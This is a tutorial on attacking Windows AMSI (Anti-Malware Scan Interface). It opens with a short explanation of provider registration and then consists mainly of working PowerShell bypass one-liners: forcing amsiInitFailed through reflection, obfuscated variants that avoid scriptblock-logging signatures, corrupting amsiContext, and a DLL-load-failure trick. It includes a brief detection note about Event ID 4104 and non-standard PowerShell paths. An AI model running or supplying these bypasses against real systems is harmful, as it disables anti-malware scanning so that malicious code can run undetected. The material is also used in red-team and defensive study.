AMSI

AMSI or Anti-Malware Scan Interface is a vendor-agnostic API used to permit anti-malware vendors the ability to scan in-memory buffers.

AV vendors can implement a AMSI provider by providing the DisplayName and Scan functions and registering the provider's CLSIDs in the HKLM\SOFTWARE\Microsoft\AMSI\Providers registry key.

HKLM\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}
KCR\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\InprocServer32 - %ProgramFiles%\Windows Defender\MpOav.dll

AMSI is formally registered with a hard-coded CLSID in amsi.dll named CLSID_Antimalware at HKCR\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} but there is no HKCR PSDrive by default.

Two main strategies to attack and evade AMSI are

• tampering

  • attack how amsi.dll or providers are implemented

  • hijack the way AMSI is loaded via the registry by removing existing registrations or registering your own provider

  • force an application to load malicious a AMSI dll or find a way for a process not to load it at all

• evasion

  • evade anti-malware signatures

Failed Initialization Spoofing & Scriptblock Autologging

If we inspect the System.Management.Automation.AmsiUtils class we'll see that there are some conditions in which AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED is established.

For example

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

The code sets the value of the amsiInitFailed field to true. The $null parameter is used because the field is static and does not belong to an instance of the class When this field is set to true, any subsequent AMSI-related calls within PowerShell will assume that AMSI is not available or has failed to initialize putting AMSI into a "fail-open" state, meaning that if AMSI is considered failed, the script execution is allowed to proceed without being scanned.

Scriptblock Autologging was introduced in PowerShellV5 and automatically logs any scriptblock execution that contains predetermined elements that are deemed suspicious; these elements can be dumped with

[ScriptBlock].GetField('signatures', 'NonPublic, Static').GetValue($null)

These events are logged to the Microsoft-Windows-PowerShell/Operational log under Event ID 4104.

Get-WinEvent -LogName Microsoft-Windows-PowerShell/Operational -FilterXPath '*[System[EventID=4104 and Level=3]]'

In this case our bypass technique is caught by scriptblock autologging because of NonPublic and GetField so we can use the following to bypass that as well.

[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFi e'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True)

or

$Func = "Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')

$Amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$Delegate = [Delegate]::CreateDelegate($Func, [Object] $Amsi, ('GetFie'+'ld'))
$Flags = ('Non'+'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')
$Field = $Delegate.Invoke('amsiInitFailed', $Flags)
$Field.SetValue($null, $True)

This all becomes much easier with simpler obfuscation tricks

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')."GetF`ield"('amsiInitFailed','NonPu'+'blic,Static').SetValue($null,$true)

AMSI Context Tampering

[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141)

This bypass causes AmsiScanString to fail gracefully and default to yet another fail-open state.

DLL Load Failure

The plan for this bypass technique is to copy powershell.exe and amsi.dll to a folder we control and flip the insignificant bit in amsi.dll so it can no longer be loaded as it's not properly signed. When Device Guard is enforced, amsi.dll will try to load from the current directory (which is controlled by us) but fail because it's no longer considered signed causing a DllNotFoundException exception and, guess what, placing AMSI in a fail-open state.

This can be detected since the PowerShell host process got loaded from a non-standard path.